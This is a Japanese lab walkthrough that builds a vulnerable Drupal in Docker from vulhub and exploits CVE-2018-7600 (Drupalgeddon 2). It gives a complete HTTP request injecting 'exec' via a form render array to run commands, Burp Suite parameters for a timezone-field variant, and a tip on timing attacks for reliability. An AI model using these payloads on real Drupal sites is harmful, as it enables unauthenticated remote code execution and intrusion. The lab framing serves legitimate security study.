
CVE-2018-7600(Drupalgeddon 2)の概念実証エクスプロイトであり、DockerとBurp Suiteを用いたラボ環境の段階的なセットアップとエクスプロイトのウォークスルーを提供します。
(CVE-2018-7600)**
Drupal 7.58より前のバージョン、8.3.9より前の8.xバージョン、8.4.6より前の8.4.xバージョン、8.5.1より前の8.5.xバージョンは、Form APIを含むデフォルトまたは共通モジュール構成を使用する複数のサブシステムに影響を与える問題により、リモート攻撃者が任意のコードを実行できるようにする。
参考文献:

まず、次の画面のように該当のvulhubの内容をForkしてくる。

その後、該当フォルダをZIPファイルとしてダウンロードして取得し、

drupal(CVE-2018-7600)に関連する内容を解凍して自分のリポジトリにアップロード

次に、そのリポジトリを使ってDockerにその環境を構築してみよう。

次のように自分のリポジトリをgit cloneコマンドで取得し、docker-compose.ymlファイルが存在するフォルダ内にcdコマンドで移動する。
その後、次のコマンドでバックグラウンドでDockerを実行する。
docker-compose up -d
次のように実行される様子を確認できる。

http://localhost:8080 のアドレスに移動してDrupalのホームページを表示してみる。

次のようにDrupal環境設定の画面が表示され、Drupalホームページ画面が出てくる。
Exploitを試すために、次のように簡単に設定する。

すると次のようにロードされる。

その後、追加のサイト設定をさらに入力する(Exploitのための迅速な設定としてtestに設定)。



次のように最終的にDrupalサイトの設定まで完了した状態。

a2u/CVE-2018-7600 を参照して、次のリクエストをdrupalに送信できる。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
CVE-2018-7600(Drupalgeddon2)は、/user/registerを通じてAJAXを利用してフォームフィールドを操作する
認証なし攻撃を試みる脆弱性であるため、Burp Suiteを通じてパケットを改ざんしてみることもできる。
まずBurp Suiteのプロキシサイトを通じて「登録」に入り、適当な値を入力した後パケットをキャプチャする。

Burp Suiteを使用して該当パケットを操作する。

該当パケットをRepeaterに送信し、最下部に次のようなコードを追加する。
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
その後Sendを送信すると、次のようにOKコマンドが表示されることを確認できる。

実際により悪意のあるリクエストを行うためには、CVE-2018-7600(Drupalgeddon2)攻撃は Drupalインストール直後(Drupalインストールウィザードが終了する前)に攻撃を送信する方がより確実である。